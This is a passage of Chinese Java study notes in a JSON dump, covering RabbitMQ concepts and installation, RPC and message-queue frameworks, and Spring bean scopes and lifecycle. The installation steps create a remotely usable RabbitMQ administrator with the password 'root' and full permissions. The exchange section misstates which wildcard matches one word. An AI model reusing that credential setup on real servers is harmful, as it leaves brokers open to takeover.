SPI机制。\n\n### 1.2 RabbitMQ 核心概念\n\nRabbitMQ 整体上是一个生产者与消费者模型，主要负责接收、存储和转发消息。可以把消息传递的过程想象成：当你将一个包裹送到邮局，邮局会暂存并最终将邮件通过邮递员送到收件人的手上，RabbitMQ就好比由邮局、邮箱和邮递员组成的一个系统。从计算机术语层面来说，RabbitMQ 模型更像是一种交换机模型。\n\n下面再来看看图1—— RabbitMQ 的整体模型架构。\n\n![图1-RabbitMQ 的整体模型架构](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-16/96388546.jpg)\n\n下面我会一一介绍上图中的一些概念。\n\n#### 1.2.1 Producer(生产者) 和 Consumer(消费者)\n\n- **Producer(生产者)** :生产消息的一方（邮件投递者）\n- **Consumer(消费者)** :消费消息的一方（邮件收件人）\n\n消息一般由 2 部分组成：**消息头**（或者说是标签 Label）和 **消息体**。消息体也可以称为 payLoad ,消息体是不透明的，而消息头则由一系列的可选属性组成，这些属性包括 routing-key（路由键）、priority（相对于其他消息的优先权）、delivery-mode（指出该消息可能需要持久性存储）等。生产者把消息交由 RabbitMQ 后，RabbitMQ 会根据消息头把消息发送给感兴趣的 Consumer(消费者)。\n\n#### 1.2.2 Exchange(交换器)\n\n在 RabbitMQ 中，消息并不是直接被投递到 **Queue(消息队列)** 中的，中间还必须经过 **Exchange(交换器)** 这一层，**Exchange(交换器)** 会把我们的消息分配到对应的 **Queue(消息队列)** 中。\n\n**Exchange(交换器)** 用来接收生产者发送的消息并将这些消息路由给服务器中的队列中，如果路由不到，或许会返回给 **Producer(生产者)** ，或许会被直接丢弃掉 。这里可以将RabbitMQ中的交换器看作一个简单的实体。\n\n**RabbitMQ 的 Exchange(交换器) 有4种类型，不同的类型对应着不同的路由策略**：**direct(默认)**，**fanout**, **topic**, 和 **headers**，不同类型的Exchange转发消息的策略有所区别。这个会在介绍 **Exchange Types(交换器类型)** 的时候介绍到。\n\nExchange(交换器) 示意图如下：\n\n![Exchange(交换器) 示意图](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-16/24007899.jpg)\n\n生产者将消息发给交换器的时候，一般会指定一个 **RoutingKey(路由键)**，用来指定这个消息的路由规则，而这个 **RoutingKey 需要与交换器类型和绑定键(BindingKey)联合使用才能最终生效**。\n\nRabbitMQ 中通过 **Binding(绑定)** 将 **Exchange(交换器)** 与 **Queue(消息队列)** 关联起来，在绑定的时候一般会指定一个 **BindingKey(绑定建)** ,这样 RabbitMQ 就知道如何正确将消息路由到队列了,如下图所示。一个绑定就是基于路由键将交换器和消息队列连接起来的路由规则，所以可以将交换器理解成一个由绑定构成的路由表。Exchange 和 Queue 的绑定可以是多对多的关系。\n\nBinding(绑定) 示意图：\n\n![Binding(绑定) 示意图](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-16/70553134.jpg)\n\n生产者将消息发送给交换器时，需要一个RoutingKey,当 BindingKey 和 RoutingKey 相匹配时，消息会被路由到对应的队列中。在绑定多个队列到同一个交换器的时候，这些绑定允许使用相同的 BindingKey。BindingKey 并不是在所有的情况下都生效，它依赖于交换器类型，比如fanout类型的交换器就会无视，而是将消息路由到所有绑定到该交换器的队列中。\n\n#### 1.2.3 Queue(消息队列)\n\n**Queue(消息队列)** 用来保存消息直到发送给消费者。它是消息的容器，也是消息的终点。一个消息可投入一个或多个队列。消息一直在队列里面，等待消费者连接到这个队列将其取走。\n\n**RabbitMQ** 中消息只能存储在 **队列** 中，这一点和 **Kafka** 这种消息中间件相反。Kafka 将消息存储在 **topic（主题）** 这个逻辑层面，而相对应的队列逻辑只是topic实际存储文件中的位移标识。 RabbitMQ 的生产者生产消息并最终投递到队列中，消费者可以从队列中获取消息并消费。\n\n**多个消费者可以订阅同一个队列**，这时队列中的消息会被平均分摊（Round-Robin，即轮询）给多个消费者进行处理，而不是每个消费者都收到所有的消息并处理，这样避免的消息被重复消费。\n\n**RabbitMQ** 不支持队列层面的广播消费,如果有广播消费的需求，需要在其上进行二次开发,这样会很麻烦，不建议这样做。\n\n#### 1.2.4 Broker（消息中间件的服务节点）\n\n对于 RabbitMQ 来说，一个 RabbitMQ Broker 可以简单地看作一个 RabbitMQ 服务节点，或者RabbitMQ服务实例。大多数情况下也可以将一个 RabbitMQ Broker 看作一台 RabbitMQ 服务器。\n\n下图展示了生产者将消息存入 RabbitMQ Broker,以及消费者从Broker中消费数据的整个流程。\n\n![消息队列的运转过程](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-16/67952922.jpg)\n\n这样图1中的一些关于 RabbitMQ 的基本概念我们就介绍完毕了，下面再来介绍一下 **Exchange Types(交换器类型)** 。\n\n#### 1.2.5 Exchange Types(交换器类型)\n\nRabbitMQ 常用的 Exchange Type 有 **fanout**、**direct**、**topic**、**headers** 这四种（AMQP规范里还提到两种 Exchange Type，分别为 system 与 自定义，这里不予以描述）。\n\n##### ① fanout\n\nfanout 类型的Exchange路由规则非常简单，它会把所有发送到该Exchange的消息路由到所有与它绑定的Queue中，不需要做任何判断操作，所以 fanout 类型是所有的交换机类型里面速度最快的。fanout 类型常用来广播消息。\n\n##### ② direct\n\ndirect 类型的Exchange路由规则也很简单，它会把消息路由到那些 Bindingkey 与 RoutingKey 完全匹配的 Queue 中。 \n\n![direct 类型交换器](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-16/37008021.jpg)\n\n以上图为例，如果发送消息的时候设置路由键为“warning”,那么消息会路由到 Queue1 和 Queue2。如果在发送消息的时候设置路由键为\"Info”或者\"debug”，消息只会路由到Queue2。如果以其他的路由键发送消息，则消息不会路由到这两个队列中。\n\ndirect 类型常用在处理有优先级的任务，根据任务的优先级把消息发送到对应的队列，这样可以指派更多的资源去处理高优先级的队列。\n\n##### ③ topic\n\n前面讲到direct类型的交换器路由规则是完全匹配 BindingKey 和 RoutingKey ，但是这种严格的匹配方式在很多情况下不能满足实际业务的需求。topic类型的交换器在匹配规则上进行了扩展，它与 direct 类型的交换器相似，也是将消息路由到 BindingKey 和 RoutingKey 相匹配的队列中，但这里的匹配规则有些不同，它约定：\n\n- RoutingKey 为一个点号“．”分隔的字符串（被点号“．”分隔开的每一段独立的字符串称为一个单词），如 “com.rabbitmq.client”、“java.util.concurrent”、“com.hidden.client”;\n- BindingKey 和 RoutingKey 一样也是点号“．”分隔的字符串；\n- BindingKey 中可以存在两种特殊字符串“*”和“#”，用于做模糊匹配，其中“.”用于匹配一个单词，“#”用于匹配多个单词(可以是零个)。\n\n![topic 类型交换器](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-16/73843.jpg)\n\n以上图为例：\n\n- 路由键为 “com.rabbitmq.client” 的消息会同时路由到 Queuel 和 Queue2;\n- 路由键为 “com.hidden.client” 的消息只会路由到 Queue2 中；\n- 路由键为 “com.hidden.demo” 的消息只会路由到 Queue2 中；\n- 路由键为 “java.rabbitmq.demo” 的消息只会路由到Queuel中；\n- 路由键为 “java.util.concurrent” 的消息将会被丢弃或者返回给生产者（需要设置 mandatory 参数），因为它没有匹配任何路由键。\n\n##### ④ headers(不推荐)\n\nheaders 类型的交换器不依赖于路由键的匹配规则来路由消息，而是根据发送的消息内容中的 headers 属性进行匹配。在绑定队列和交换器时制定一组键值对，当发送消息到交换器时，RabbitMQ会获取到该消息的 headers（也是一个键值对的形式)'对比其中的键值对是否完全匹配队列和交换器绑定时指定的键值对，如果完全匹配则消息会路由到该队列，否则不会路由到该队列。headers 类型的交换器性能会很差，而且也不实用，基本上不会看到它的存在。\n\n## 二 安装 RabbitMq\n\n通过 Docker 安装非常方便，只需要几条命令就好了，我这里是只说一下常规安装方法。\n\n前面提到了 RabbitMQ 是由 Erlang语言编写的，也正因如此，在安装RabbitMQ 之前需要安装 Erlang。\n\n注意：在安装 RabbitMQ 的时候需要注意 RabbitMQ 和 Erlang 的版本关系，如果不注意的话会导致出错，两者对应关系如下:\n\n![RabbitMQ 和 Erlang 的版本关系](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-3/RabbitMQ-Erlang.png)\n\n### 2.1 安装 erlang\n\n**1 下载 erlang 安装包**\n\n在官网下载然后上传到 Linux 上或者直接使用下面的命令下载对应的版本。\n\n```shell\n[root@SnailClimb local]#wget http://erlang.org/download/otp_src_19.3.tar.gz\n```\n\nerlang 官网下载：[http://www.erlang.org/downloads](http://www.erlang.org/downloads)  \n\n **2 解压 erlang 安装包**\n\n```shell\n[root@SnailClimb local]#tar -xvzf otp_src_19.3.tar.gz\n```\n\n**3 删除 erlang 安装包**\n\n```shell\n[root@SnailClimb local]#rm -rf otp_src_19.3.tar.gz\n```\n\n**4 安装 erlang 的依赖工具**\n\n```shell\n[root@SnailClimb local]#yum -y install make gcc gcc-c++ kernel-devel m4 ncurses-devel openssl-devel unixODBC-devel\n``` \n\n**5 进入erlang 安装包解压文件对 erlang 进行安装环境的配置**\n\n新建一个文件夹\n\n```shell\n[root@SnailClimb local]# mkdir erlang\n```\n\n对 erlang 进行安装环境的配置\n\n```shell\n[root@SnailClimb otp_src_19.3]# \n./configure --prefix=/usr/local/erlang --without-javac\n```\n\n**6 编译安装**\n\n```shell\n[root@SnailClimb otp_src_19.3]# \nmake && make install\n```\n\n**7 验证一下 erlang 是否安装成功了**\n\n```shell\n[root@SnailClimb otp_src_19.3]# ./bin/erl\n```\n运行下面的语句输出“hello world”\n\n```erlang\n io:format(\"hello world~n\", []).\n```\n![输出“hello world”](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-12/49570541.jpg)\n\n大功告成，我们的 erlang 已经安装完成。\n\n**8 配置  erlang 环境变量**\n\n```shell\n[root@SnailClimb etc]# vim profile\n```\n\n追加下列环境变量到文件末尾\n\n```shell\n#erlang\nERL_HOME=/usr/local/erlang\nPATH=$ERL_HOME/bin:$PATH\nexport ERL_HOME PATH\n```\n\n运行下列命令使配置文件`profile`生效\n\n```shell\n[root@SnailClimb etc]# source /etc/profile\n```\n\n输入 erl 查看 erlang 环境变量是否配置正确\n\n```shell\n[root@SnailClimb etc]# erl\n```\n\n![输入 erl 查看 erlang 环境变量是否配置正确](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-12/62504246.jpg)\n\n### 2.2 安装 RabbitMQ\n\n**1. 下载rpm** \n\n```shell\nwget https://www.rabbitmq.com/releases/rabbitmq-server/v3.6.8/rabbitmq-server-3.6.8-1.el7.noarch.rpm\n```\n或者直接在官网下载\n\nhttps://www.rabbitmq.com/install-rpm.html[enter link description here](https://www.rabbitmq.com/install-rpm.html)\n\n**2. 安装rpm**\n\n```shell\nrpm --import https://www.rabbitmq.com/rabbitmq-release-signing-key.asc\n```\n紧接着执行：\n\n```shell\nyum install rabbitmq-server-3.6.8-1.el7.noarch.rpm\n```\n中途需要你输入\"y\"才能继续安装。\n\n**3 开启 web 管理插件**\n\n```shell\nrabbitmq-plugins enable rabbitmq_management\n```\n\n**4 设置开机启动**\n\n```shell\nchkconfig rabbitmq-server on\n```\n\n**4. 启动服务**\n\n```shell\nservice rabbitmq-server start\n```\n\n**5. 查看服务状态**\n\n```shell\nservice rabbitmq-server status\n```\n\n**6. 访问 RabbitMQ 控制台**\n\n浏览器访问：http://你的ip地址:15672/\n\n默认用户名和密码： guest/guest;但是需要注意的是：guestuest用户只是被容许从localhost访问。官网文档描述如下：\n\n```shell\n“guest” user can only connect via localhost\n```\n\n**解决远程访问 RabbitMQ 远程访问密码错误**\n\n新建用户并授权 \n\n```shell\n[root@SnailClimb rabbitmq]# rabbitmqctl add_user root root\nCreating user \"root\" ...\n[root@SnailClimb rabbitmq]# rabbitmqctl set_user_tags root administrator\n\nSetting tags for user \"root\" to [administrator] ...\n[root@SnailClimb rabbitmq]# \n[root@SnailClimb rabbitmq]# rabbitmqctl set_permissions -p / root \".*\" \".*\" \".*\"\nSetting permissions for user \"root\" in vhost \"/\" ...\n\n```\n\n再次访问:http://你的ip地址:15672/ ,输入用户名和密码：root root\n\n![RabbitMQ控制台](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-12/45835332.jpg)\n\n\n"
  },
  {
    "path": "docs/system-design/data-communication/数据通信(RESTful、RPC、消息队列).md",
    "content": "> ## RPC\n\n**RPC（Remote Procedure Call）—远程过程调用** ，它是一种通过网络从远程计算机程序上请求服务，而不需要了解底层网络技术的协议。RPC协议假定某些传输协议的存在，如TCP或UDP，为通信程序之间携带信息数据。在OSI网络通信模型中，RPC跨越了传输层和应用层。RPC使得开发分布式程序就像开发本地程序一样简单。\n\n**RPC采用客户端（服务调用方）/服务器端（服务提供方）模式，** 都运行在自己的JVM中。客户端只需要引入要使用的接口，接口的实现和运行都在服务器端。RPC主要依赖的技术包括序列化、反序列化和数据传输协议，这是一种定义与实现相分离的设计。\n\n**目前Java使用比较多的RPC方案主要有RMI（JDK自带）、Hessian、Dubbo以及Thrift等。**\n\n**注意： RPC主要指内部服务之间的调用，RESTful也可以用于内部服务之间的调用，但其主要用途还在于外部系统提供服务，因此没有将其包含在本知识点内。**\n\n### 常见RPC框架：\n\n- **RMI（JDK自带）：** JDK自带的RPC\n \n   详细内容可以参考：[从懵逼到恍然大悟之Java中RMI的使用](https://blog.csdn.net/lmy86263/article/details/72594760)\n\n- **Dubbo:** Dubbo是 阿里巴巴公司开源的一个高性能优秀的服务框架，使得应用可通过高性能的 RPC 实现服务的输出和输入功能，可以和 Spring框架无缝集成。\n\n  详细内容可以参考：\n\n  - [ 高性能优秀的服务框架-dubbo介绍](https://blog.csdn.net/qq_34337272/article/details/79862899)\n  \n  - [Dubbo是什么？能做什么？](https://blog.csdn.net/houshaolin/article/details/76408399)\n \n\n- **Hessian：** Hessian是一个轻量级的remotingonhttp工具，使用简单的方法提供了RMI的功能。 相比WebService，Hessian更简单、快捷。采用的是二进制RPC协议，因为采用的是二进制协议，所以它很适合于发送二进制数据。\n\n  详细内容可以参考： [Hessian的使用以及理解](https://blog.csdn.net/sunwei_pyw/article/details/74002351)\n\n- **Thrift：**  Apache Thrift是Facebook开源的跨语言的RPC通信框架，目前已经捐献给Apache基金会管理，由于其跨语言特性和出色的性能，在很多互联网公司得到应用，有能力的公司甚至会基于thrift研发一套分布式服务框架，增加诸如服务注册、服务发现等功能。\n  \n\n    详细内容可以参考： [【Java】分布式RPC通信框架Apache Thrift 使用总结](https://www.cnblogs.com/zeze/p/8628585.html)\n  \n### 如何进行选择：\n\n- **是否允许代码侵入：**  即需要依赖相应的代码生成器生成代码，比如Thrift。\n- **是否需要长连接获取高性能：**  如果对于性能需求较高的haul，那么可以果断选择基于TCP的Thrift、Dubbo。\n- **是否需要跨越网段、跨越防火墙：** 这种情况一般选择基于HTTP协议的Hessian和Thrift的HTTP Transport。\n\n此外，Google推出的基于HTTP2.0的gRPC框架也开始得到应用，其序列化协议基于Protobuf，网络框架使用的是Netty4,但是其需要生成代码，可扩展性也比较差。  \n\n> ## 消息中间件\n\n**消息中间件，也可以叫做中央消息队列或者是消息队列（区别于本地消息队列，本地消息队列指的是JVM内的队列实现）**，是一种独立的队列系统，消息中间件经常用来解决内部服务之间的 **异步调用问题** 。请求服务方把请求队列放到队列中即可返回，然后等待服务提供方去队列中获取请求进行处理，之后通过回调等机制把结果返回给请求服务方。\n\n异步调用只是消息中间件一个非常常见的应用场景。此外，常用的消息队列应用场景还偷如下几个：\n- **解耦 ：** 一个业务的非核心流程需要依赖其他系统，但结果并不重要，有通知即可。\n- **最终一致性 ：** 指的是两个系统的状态保持一致，可以有一定的延迟，只要最终达到一致性即可。经常用在解决分布式事务上。\n- **广播 ：** 消息队列最基本的功能。生产者只负责生产消息，订阅者接收消息。\n- **错峰和流控**\n\n\n具体可以参考： \n \n[《消息队列深入解析》](https://blog.csdn.net/qq_34337272/article/details/80029918)\n\n当前使用较多的消息队列有ActiveMQ（性能差，不推荐使用）、RabbitMQ、RocketMQ、Kafka等等，我们之前提到的redis数据库也可以实现消息队列，不过不推荐，redis本身设计就不是用来做消息队列的。\n\n-  **ActiveMQ：** ActiveMQ是Apache出品，最流行的，能力强劲的开源消息总线。ActiveMQ是一个完全支持JMS1.1和J2EE 1.4规范的JMSProvider实现,尽管JMS规范出台已经是很久的事情了,但是JMS在当今的J2EE应用中间仍然扮演着特殊的地位。\n\n   具体可以参考： \n   \n   [《消息队列ActiveMQ的使用详解》](https://blog.csdn.net/qq_34337272/article/details/80031702)\n \n- **RabbitMQ:** RabbitMQ 是一个由 Erlang 语言开发的 AMQP 的开源实现。RabbitMQ 最初起源于金融系统，用于在分布式系统中存储转发消息，在易用性、扩展性、高可用性等方面表现不俗\n    > AMQP ：Advanced Message Queue，高级消息队列协议。它是应用层协议的一个开放标准，为面向消息的中间件设计，基于此协议的客户端与消息中间件可传递消息，并不受产品、开发语言等条件的限制。\n\n\n   具体可以参考：\n   \n   [《消息队列之 RabbitMQ》](https://www.jianshu.com/p/79ca08116d57)\n\n- **RocketMQ：**\n   \n   具体可以参考：\n   \n   [《RocketMQ 实战之快速入门》](https://www.jianshu.com/p/824066d70da8)\n\n   [《十分钟入门RocketMQ》](http://jm.taobao.org/2017/01/12/rocketmq-quick-start-in-10-minutes/) （阿里中间件团队博客）\n\n\n- **Kafka**：Kafka是一个分布式的、可分区的、可复制的、基于发布/订阅的消息系统（现在官方的描述是“一个分布式流平台”）,Kafka主要用于大数据领域,当然在分布式系统中也有应用。目前市面上流行的消息队列RocketMQ就是阿里借鉴Kafka的原理、用Java开发而得。\n  \n  具体可以参考：\n\n  [《Kafka应用场景》](http://book.51cto.com/art/201801/565244.htm)\n   \n  [《初谈Kafka》](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247484106&idx=1&sn=aa1999895d009d91eb3692a3e6429d18&chksm=fd9854abcaefddbd1101ca5dc2c7c783d7171320d6300d9b2d8e68b7ef8abd2b02ea03e03600#rd)\n\n**推荐阅读：**\n\n[《Kafka、RabbitMQ、RocketMQ等消息中间件的对比 —— 消息发送性能和区别》](https://mp.weixin.qq.com/s?__biz=MzU5OTMyODAyNg==&mid=2247484721&idx=1&sn=11e4e29886e581dd328311d308ccc068&chksm=feb7d144c9c058529465b02a4e26a25ef76b60be8984ace9e4a0f5d3d98ca52e014ecb73b061&scene=21#wechat_redirect)\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/system-design/framework/SpringBean.md",
    "content": "<!-- MarkdownTOC -->\n\n- [前言](#前言)\n- [一  bean的作用域](#一-bean的作用域)\n  - [1. singleton——唯一 bean 实例](#1-singleton——唯一-bean-实例)\n  - [2. prototype——每次请求都会创建一个新的 bean 实例](#2-prototype——每次请求都会创建一个新的-bean-实例)\n  - [3. request——每一次HTTP请求都会产生一个新的bean，该bean仅在当前HTTP request内有效](#3-request——每一次http请求都会产生一个新的bean，该bean仅在当前http-request内有效)\n  - [4. session——每一次HTTP请求都会产生一个新的 bean，该bean仅在当前 HTTP session 内有效](#4-session——每一次http请求都会产生一个新的-bean，该bean仅在当前-http-session-内有效)\n  - [5. globalSession](#5-globalsession)\n- [二  bean的生命周期](#二-bean的生命周期)\n  - [initialization 和 destroy](#initialization-和-destroy)\n  - [实现*Aware接口 在Bean中使用Spring框架的一些对象](#实现aware接口-在bean中使用spring框架的一些对象)\n  - [BeanPostProcessor](#beanpostprocessor)\n  - [总结](#总结)\n  - [单例管理的对象](#单例管理的对象)\n  - [非单例管理的对象](#非单例管理的对象)\n- [三 说明](#三-说明)\n\n<!-- /MarkdownTOC -->\n\n# 前言 \n在 Spring 中，那些组成应用程序的主体及由 Spring IOC 容器所管理的对象，被称之为 bean。简单地讲，bean 就是由 IOC 容器初始化、装配及管理的对象，除此之外，bean 就与应用程序中的其他对象没有什么区别了。而 bean 的定义以及 bean 相互间的依赖关系将通过配置元数据来描述。\n\n**Spring中的bean默认都是单例的，这些单例Bean在多线程程序下如何保证线程安全呢？** 例如对于Web应用来说，Web容器对于每个用户请求都创建一个单独的Sevlet线程来处理请求，引入Spring框架之后，每个Action都是单例的，那么对于Spring托管的单例Service Bean，如何保证其安全呢？ **Spring的单例是基于BeanFactory也就是Spring容器的，单例Bean在此容器内只有一个，Java的单例是基于 JVM，每个 JVM 内只有一个实例。**\n\n在大多数情况下。单例 bean 是很理想的方案。不过，有时候你可能会发现你所使用的类是易变的，它们会保持一些状态，因此重用是不安全的。在这种情况下，将 class 声明为单例的就不是那么明智了。因为对象会被污染，稍后重用的时候会出现意想不到的问题。所以 Spring 定义了多种作用域的bean。\n\n# 一  bean的作用域\n\n创建一个bean定义，其实质是用该bean定义对应的类来创建真正实例的“配方”。把bean定义看成一个配方很有意义，它与class很类似，只根据一张“处方”就可以创建多个实例。不仅可以控制注入到对象中的各种依赖和配置值，还可以控制该对象的作用域。这样可以灵活选择所建对象的作用域，而不必在Java Class级定义作用域。Spring Framework支持五种作用域，分别阐述如下表。\n\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-17/1188352.jpg)\n\n五种作用域中，**request、session** 和 **global session** 三种作用域仅在基于web的应用中使用（不必关心你所采用的是什么web应用框架），只能用在基于 web 的 Spring ApplicationContext 环境。\n\n\n\n### 1. singleton——唯一 bean 实例\n\n**当一个 bean 的作用域为 singleton，那么Spring IoC容器中只会存在一个共享的 bean 实例，并且所有对 bean 的请求，只要 id 与该 bean 定义相匹配，则只会返回bean的同一实例。** singleton 是单例类型(对应于单例模式)，就是在创建起容器时就同时自动创建了一个bean的对象，不管你是否使用，但我们可以指定Bean节点的 `lazy-init=”true”` 来延迟初始化bean，这时候，只有在第一次获取bean时才会初始化bean，即第一次请求该bean时才初始化。 每次获取到的对象都是同一个对象。注意，singleton 作用域是Spring中的缺省作用域。要在XML中将 bean 定义成 singleton ，可以这样配置：\n\n```xml\n<bean id=\"ServiceImpl\" class=\"cn.csdn.service.ServiceImpl\" scope=\"singleton\">\n```\n\n也可以通过 `@Scope` 注解（它可以显示指定bean的作用范围。）的方式\n\n```java\n@Service\n@Scope(\"singleton\")\npublic class ServiceImpl{\n\n}\n```\n\n### 2. prototype——每次请求都会创建一个新的 bean 实例\n\n**当一个bean的作用域为 prototype，表示一个 bean 定义对应多个对象实例。** **prototype 作用域的 bean 会导致在每次对该 bean 请求**（将其注入到另一个 bean 中，或者以程序的方式调用容器的 getBean() 方法**）时都会创建一个新的 bean 实例。prototype 是原型类型，它在我们创建容器的时候并没有实例化，而是当我们获取bean的时候才会去创建一个对象，而且我们每次获取到的对象都不是同一个对象。根据经验，对有状态的 bean 应该使用 prototype 作用域，而对无状态的 bean 则应该使用 singleton 作用域。**  在 XML 中将 bean 定义成 prototype ，可以这样配置：\n\n```java\n<bean id=\"account\" class=\"com.foo.DefaultAccount\" scope=\"prototype\"/>  \n 或者\n<bean id=\"account\" class=\"com.foo.DefaultAccount\" singleton=\"false\"/> \n```\n通过 `@Scope` 注解的方式实现就不做演示了。\n\n### 3. request——每一次HTTP请求都会产生一个新的bean，该bean仅在当前HTTP request内有效\n\n**request只适用于Web程序，每一次 HTTP 请求都会产生一个新的bean，同时该bean仅在当前HTTP request内有效，当请求结束后，该对象的生命周期即告结束。** 在 XML 中将 bean 定义成 request ，可以这样配置：\n\n```java\n<bean id=\"loginAction\" class=cn.csdn.LoginAction\" scope=\"request\"/>\n```\n\n### 4. session——每一次HTTP请求都会产生一个新的 bean，该bean仅在当前 HTTP session 内有效\n\n**session只适用于Web程序，session 作用域表示该针对每一次 HTTP 请求都会产生一个新的 bean，同时该 bean 仅在当前 HTTP session 内有效.与request作用域一样，可以根据需要放心的更改所创建实例的内部状态，而别的 HTTP session 中根据 userPreferences 创建的实例，将不会看到这些特定于某个 HTTP session 的状态变化。当HTTP session最终被废弃的时候，在该HTTP session作用域内的bean也会被废弃掉。**\n\n```xml\n<bean id=\"userPreferences\" class=\"com.foo.UserPreferences\" scope=\"session\"/>\n```\n\n### 5. globalSession\n\nglobal session 作用域类似于标准的 HTTP session 作用域，不过仅仅在基于 portlet 的 web 应用中才有意义。Portlet 规范定义了全局 Session 的概念，它被所有构成某个 portlet web 应用的各种不同的 portle t所共享。在global session 作用域中定义的 bean 被限定于全局portlet Session的生命周期范围内。\n\n```xml\n<bean id=\"user\" class=\"com.foo.Preferences \"scope=\"globalSession\"/>\n```\n\n# 二  bean的生命周期\n\nSpring Bean是Spring应用中最最重要的部分了。所以来看看Spring容器在初始化一个bean的时候会做那些事情，顺序是怎样的，在容器关闭的时候，又会做哪些事情。\n\n> spring版本：4.2.3.RELEASE\n鉴于Spring源码是用gradle构建的，我也决定舍弃我大maven，尝试下洪菊推荐过的gradle。运行beanLifeCycle模块下的junit test即可在控制台看到如下输出，可以清楚了解Spring容器在创建，初始化和销毁Bean的时候依次做了那些事情。\n\n```\nSpring容器初始化\n=====================================\n调用GiraffeService无参构造函数\nGiraffeService中利用set方法设置属性值\n调用setBeanName:: Bean Name defined in context=giraffeService\n调用setBeanClassLoader,ClassLoader Name = sun.misc.Launcher$AppClassLoader\n调用setBeanFactory,setBeanFactory:: giraffe bean singleton=true\n调用setEnvironment\n调用setResourceLoader:: Resource File Name=spring-beans.xml\n调用setApplicationEventPublisher\n调用setApplicationContext:: Bean Definition Names=[giraffeService, org.springframework.context.annotation.CommonAnnotationBeanPostProcessor#0, com.giraffe.spring.service.GiraffeServicePostProcessor#0]\n执行BeanPostProcessor的postProcessBeforeInitialization方法,beanName=giraffeService\n调用PostConstruct注解标注的方法\n执行InitializingBean接口的afterPropertiesSet方法\n执行配置的init-method\n执行BeanPostProcessor的postProcessAfterInitialization方法,beanName=giraffeService\nSpring容器初始化完毕\n=====================================\n从容器中获取Bean\ngiraffe Name=李光洙\n=====================================\n调用preDestroy注解标注的方法\n执行DisposableBean接口的destroy方法\n执行配置的destroy-method\nSpring容器关闭\n```\n\n先来看看，Spring在Bean从创建到销毁的生命周期中可能做得事情。\n\n\n### initialization 和 destroy\n\n有时我们需要在Bean属性值set好之后和Bean销毁之前做一些事情，比如检查Bean中某个属性是否被正常的设置好值了。Spring框架提供了多种方法让我们可以在Spring Bean的生命周期中执行initialization和pre-destroy方法。\n\n**1.实现InitializingBean和DisposableBean接口**\n\n这两个接口都只包含一个方法。通过实现InitializingBean接口的afterPropertiesSet()方法可以在Bean属性值设置好之后做一些操作，实现DisposableBean接口的destroy()方法可以在销毁Bean之前做一些操作。\n\n例子如下：\n\n```java\npublic class GiraffeService implements InitializingBean,DisposableBean {\n    @Override\n    public void afterPropertiesSet() throws Exception {\n        System.out.println(\"执行InitializingBean接口的afterPropertiesSet方法\");\n    }\n    @Override\n    public void destroy() throws Exception {\n        System.out.println(\"执行DisposableBean接口的destroy方法\");\n    }\n}\n```\n这种方法比较简单，但是不建议使用。因为这样会将Bean的实现和Spring框架耦合在一起。\n\n**2.在bean的配置文件中指定init-method和destroy-method方法**\n\nSpring允许我们创建自己的 init 方法和 destroy 方法，只要在 Bean 的配置文件中指定 init-method 和 destroy-method 的值就可以在 Bean 初始化时和销毁之前执行一些操作。\n\n例子如下：\n\n```java\npublic class GiraffeService {\n    //通过<bean>的destroy-method属性指定的销毁方法\n    public void destroyMethod() throws Exception {\n        System.out.println(\"执行配置的destroy-method\");\n    }\n    //通过<bean>的init-method属性指定的初始化方法\n    public void initMethod() throws Exception {\n        System.out.println(\"执行配置的init-method\");\n    }\n}\n```\n\n配置文件中的配置：\n\n```\n<bean name=\"giraffeService\" class=\"com.giraffe.spring.service.GiraffeService\" init-method=\"initMethod\" destroy-method=\"destroyMethod\">\n</bean>\n```\n\n需要注意的是自定义的init-method和post-method方法可以抛异常但是不能有参数。\n\n这种方式比较推荐，因为可以自己创建方法，无需将Bean的实现直接依赖于spring的框架。\n\n**3.使用@PostConstruct和@PreDestroy注解**\n\n除了xml配置的方式，Spring 也支持用 `@PostConstruct`和 `@PreDestroy`注解来指定 `init` 和 `destroy` 方法。这两个注解均在`javax.annotation` 包中。为了注解可以生效，需要在配置文件中定义org.springframework.context.annotation.CommonAnnotationBeanPostProcessor或context:annotation-config\n\n例子如下：\n\n```java\npublic class GiraffeService {\n    @PostConstruct\n    public void initPostConstruct(){\n        System.out.println(\"执行PostConstruct注解标注的方法\");\n    }\n    @PreDestroy\n    public void preDestroy(){\n        System.out.println(\"执行preDestroy注解标注的方法\");\n    }\n}\n```\n\n配置文件：\n\n```xml\n  \n<bean class=\"org.springframework.context.annotation.CommonAnnotationBeanPostProcessor\" />\n\n```\n\n### 实现*Aware接口 在Bean中使用Spring框架的一些对象\n\n有些时候我们需要在 Bean 的初始化中使用 Spring 框架自身的一些对象来执行一些操作，比如获取 ServletContext 的一些参数，获取 ApplicaitionContext 中的 BeanDefinition 的名字，获取 Bean 在容器中的名字等等。为了让 Bean 可以获取到框架自身的一些对象，Spring 提供了一组名为*Aware的接口。\n\n这些接口均继承于`org.springframework.beans.factory.Aware`标记接口，并提供一个将由 Bean 实现的set*方法,Spring通过基于setter的依赖注入方式使相应的对象可以被Bean使用。\n网上说，这些接口是利用观察者模式实现的，类似于servlet listeners，目前还不明白，不过这也不在本文的讨论范围内。\n介绍一些重要的Aware接口：\n\n- **ApplicationContextAware**: 获得ApplicationContext对象,可以用来获取所有Bean definition的名字。\n- **BeanFactoryAware**:获得BeanFactory对象，可以用来检测Bean的作用域。\n- **BeanNameAware**:获得Bean在配置文件中定义的名字。\n- **ResourceLoaderAware**:获得ResourceLoader对象，可以获得classpath中某个文件。\n- **ServletContextAware**:在一个MVC应用中可以获取ServletContext对象，可以读取context中的参数。\n- **ServletConfigAware**： 在一个MVC应用中可以获取ServletConfig对象，可以读取config中的参数。\n\n```java\npublic class GiraffeService implements   ApplicationContextAware,\n        ApplicationEventPublisherAware, BeanClassLoaderAware, BeanFactoryAware,\n        BeanNameAware, 